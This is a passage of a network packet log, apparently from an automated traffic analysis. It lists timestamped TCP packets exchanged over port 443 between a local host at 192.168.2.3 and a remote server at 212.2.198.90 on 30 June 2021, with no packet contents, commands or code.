Jun 30, 2021 20:06:09.333270073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333283901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333309889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333311081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333334923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333357096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333360910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333388090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333389997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333412886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333424091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333439112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333462954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333467960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333497047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333497047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333523035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333545923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333547115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333570957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333590984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333595037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333620071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333623886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333641052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333671093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333674908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333683968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333700895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333724022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333729029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333751917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333755016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333777905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333781958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333802938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333807945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333830118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333837032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333859921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333862066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333887100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333894014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333923101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.333939075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333957911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333977938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.333985090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334001064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334017992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334027052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334063053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334063053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334090948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334098101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334119081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334136963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334142923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334171057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334180117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334194899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334197044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334219933 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334223986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334244967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334248066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334269047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334274054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334297895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334301949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334317923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334326029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334347963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334350109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334371090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334372044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334393024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334398031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334413052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334423065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334434986 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334456921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334458113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334481001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334491968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334503889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334527016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334528923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334548950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334573030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334575891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334594965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334618092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334640026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334666014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334687948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334688902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334693909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334697008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334711075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334716082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334733963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334757090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334759951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334778070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334796906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334799051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334821939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334825993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334851980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334861994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334875107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334897041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334898949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334918976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334939957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.334944010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334964991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.334965944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335000038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335009098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335022926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335028887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335045099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335056067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335067034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335088015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335092068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335113049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335136890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335150957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335176945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335200071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335222006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335232019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335243940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335269928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335270882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335275888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335294008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335316896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335316896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335341930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335355997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335366011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335386992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335390091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335410118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335418940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335433006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335458994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335458994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335484028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335485935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335510969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335521936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335535049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335557938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335558891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335580111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335601091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335602045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335625887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335634947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335650921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335671902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335675001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335696936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.335726976 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.335741997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.337970972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.338007927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.338026047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.338179111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340126991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340167999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340193987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340219021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340241909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340251923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340267897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340292931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340318918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340328932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340342999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340368986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340369940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340394020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340395927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340420961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340430021 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340445995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340470076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340478897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340493917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340512037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340518951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340543985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340570927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340596914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340620995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340645075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340670109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340698957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340722084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340745926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340775013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340801954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340828896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340852022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340878010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340903044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340929031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340959072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340972900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.340980053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.340981960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.341003895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341027021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341052055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341077089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341104984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341131926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341152906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341181040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.341209888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.341257095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.342061996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.342096090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.342129946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.342179060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388452053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388499975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388516903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388537884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388561010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388581991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388605118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388627052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388637066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388649940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388674974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388699055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388700962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388721943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388725996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388744116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388761997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388778925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388797045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388806105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388818979 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388824940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388850927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388861895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388871908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388895035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388895035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388916016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388938904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388947010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388962030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.388962030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388986111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.388988972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389012098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389013052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389038086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389039040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389060974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389067888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389086008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389090061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389107943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389112949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389130116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389137983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389153004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389163017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389178038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389199972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389204979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389229059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389235020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389250994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389283895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389296055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389319897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389329910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389338017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389341116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389342070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389367104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389369011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389389992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389391899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389414072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389415026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389439106 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389439106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389461040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389462948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389486074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389487982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389508963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389509916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389532089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389533043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389558077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389566898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389580965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389606953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389612913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389617920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389632940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389633894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389657021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389658928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389681101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389683962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389703035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389710903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389724970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389734983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389746904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389763117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389770031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389796972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389797926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389820099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389842987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389847994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389867067 CEST	443	49720	212.2.198.90	192.168.2.3
